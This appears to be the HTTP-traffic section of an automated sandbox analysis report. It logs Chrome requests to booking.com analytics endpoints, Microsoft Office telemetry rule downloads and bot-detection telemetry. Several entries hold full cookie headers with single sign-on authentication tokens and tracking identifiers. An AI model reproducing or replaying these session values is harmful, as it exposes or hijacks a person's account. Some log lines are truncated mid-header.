Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=34343124266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d30433735372532433538253041393b32373a2d354627324b253d40273a3a7425323a273a412530324c415625303325303140474144475a253031253a322d304139313330302d374c2732412537422532306d6d27303a273243373e312730433e312d304139313330302d374c273241253742253230742530302d304325303a412730332d323b515249462532332d303a273241313b33343127354427304b273542273a326f6f253a322d30413d3e3725324b363d273241313b33343127354427304b273542273a326f6f253a322d30413d3f3225324b3139273241313b33363827354427304b273542273a327627323a253a41273a3a4449562d303b2732314e4356253231253230273a4131393130302737442d324b27374a2d32326d65273a30253043373737253043313a273a4131393130302737442d324b27374a2d3232742d303a273241253032484543444550273a312532314c495427323b253a30273a4b3139343a362d37442732412535422732326f6f2d303225304b353a33253a433f27304b393934323c273d4625374424626873615f696c666d7a3d3137 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b41303b322d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=32333224266a6361353326626a7b633f27354a253d40273a3a7425323a273a41253032432532332732335152494c2532312d323027324b323b30313d2d3544253a412d37422732306d6d2530322530413e343825304b333327324b323b30313d2d3544253a412d37422732306d6d2530322530413e343825304b333327324b323b30313d2d3544253a412d374227323074253230253241273a304449542d323127323b444154273a3b2532322d304b303330353025354427324327374a2732326f65253030253a433e3b312d3a4338362d304b303330353025354427354424606071635f6b6664677a3d3936 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /api/v2/collector HTTP/1.1Host: collector-pxikkul2rm.px-cloud.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=3133303b262668636b3f3126606073613f253d422d37402d3a3274253a302d304327323044495627323327303b464956273a332730322d324b30313b383025354c273a412537422732326d6f253230273a413731372d324133333d253a41303b3b3030253d462d30432735402532326f6d2530302d304337313d253041313f392d30413a3b3331302d374c2732412537422532306d6d27303a273243353d332730433a313127304b3a3333323e273d462530432735422530326d6f273a302532413f373227324b323d37273a4b3233333c302d37442732412535422732326f6f2d303225304b373a37253a433a3a352d3a4332333b37302735462530432535402532306f65273232273a43353b382d324b31333e2d3243323b313f34253744273243253742253030656f2532302d32413a3138253a41313c3a2532433a313c323027354625324327354227303a6f6d25303a253041383a312d30413b3e3525324b303b363131253744253241253540273a306d6d273a3227304330333827304b3b3836253a413a313437312735442530432537402d30326d6f2d323027324b383b3b273a4b3430352d304b303336363525354427324327374a2732326f65253030253a433036352d3a4334323a273a413231343a32253546253241273d40253230656d2730322d324b3a373c2d3243343b3a2d304330333639372537442530412d374225303a6d6f27323a253a413a3e382532433c373a273241323135313227354427304b273542273a326f6f253a322d3041303e3625324b363e36253043303335323b253546273a412535402d32306f6d2d323a27304b303731253a413c353527324132333536342537462d304325374a2530306d65253a30273a4b3837362d304b363834253043323337363027374c273243273d42273032656d2d30302d3a43383838273a41343b352732433231353737273d462532412d354027323a6d6527303a2d32433830362d30433730312532433033353b302d374425304b253740253a327c27303a2d3243253a304c4b5627323125323346495627303b273232273a4330313638372d37462d3a4325354a273a306d6f253032253241383835273a413531322d324130333e303f27374c2d3243253d402d30326f6d273232253043383b322d304335333f253041323b363930273d4c2532432d374a2732306d6f2532322732433a3b3b273243373a332730433a333e30302d3d4425324b273d402530326f6d2532302532413a31372532413d323a27324b323b34313f2d3544253a412d37422732306d6d253032253041303b3725304b353131253a433a31343d3b2535442d304b2735402530326d6d27323227304b3a3939273a433731372d324b30313e3d3625354c273a412537422732326d6f253230273a413930332d3241373439253a41303b3e3639253d462d30432735402532326f6d2530302d304339323b253041353c352d30413a3b3638342d374c2732412537422532306d6d27303a2732433b38342730433d343027304b3a33363831273d462530432735422530326d6f273a3025324131303427324b353d33273a4b32333738322d37442732412535422732326f6f2d303225304b393235253a433d37312d3a4332333f333e2735462530432535402532306f65273232273a433b32382d324b37373e2d3243323b353b30253744273243253742253030656f2532302d32413b3031253a41373d302532433a313f313327354625324327354227303a6f6d25303a2530413939302d30413d3e3025324b303b35343525374425354626626a716b5d696e666d783f3337 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v=
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413136302d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=36323124266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d30433b313225324337363127304b303337343a253746253a432d37402d3a326d6d2d303a273241393331253241353631273a413233353f382737442d324b27374a2d32326d65273a302530433b31322530433534362d304332313f383127354c253a41273d4a253232656f2d303227324139313227324337343d273243303b373b36253d442d30412d3d4225323a6f65273230253043393131253241373e342532413a333a32392d354c27304b2d3542253a30656f2530322732433933342530413d343725304b32313a313d253d46273a4b2535422d303a6f6d2732302532433b313427304b373638273a433031383a352d37462d3a4325354a273a306d6f253032253241393137273a4135363b2d3241303330343927374c2d3243253d402d30326f6d2732322530433933342d3043353538253041323b383d35273d4c2532432d374a2732306d6f2532322732433b333e273243373f312730433a333034322d3d4425324b273d402530326f6d2532302532413b39352532413d373327324b323b3a353b2d3544253a412d37422732306d6d25303225304131333725304b353530253a433a313a30302535442d304b2735402530326d6d27323227304b3b3137273a433735332d324b303131383325354c273a412537422732326d6f253230273a413931352d324137373c253a41303b313233253d462d30432735402532326f6d2530302d304339333f253041353f352d30413a3b3934332d374c2732412537422532306d6d27303a2732433b39372730433d373e27304b3a3339363d273d4625374424626873615f696c666d7a3d313a HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
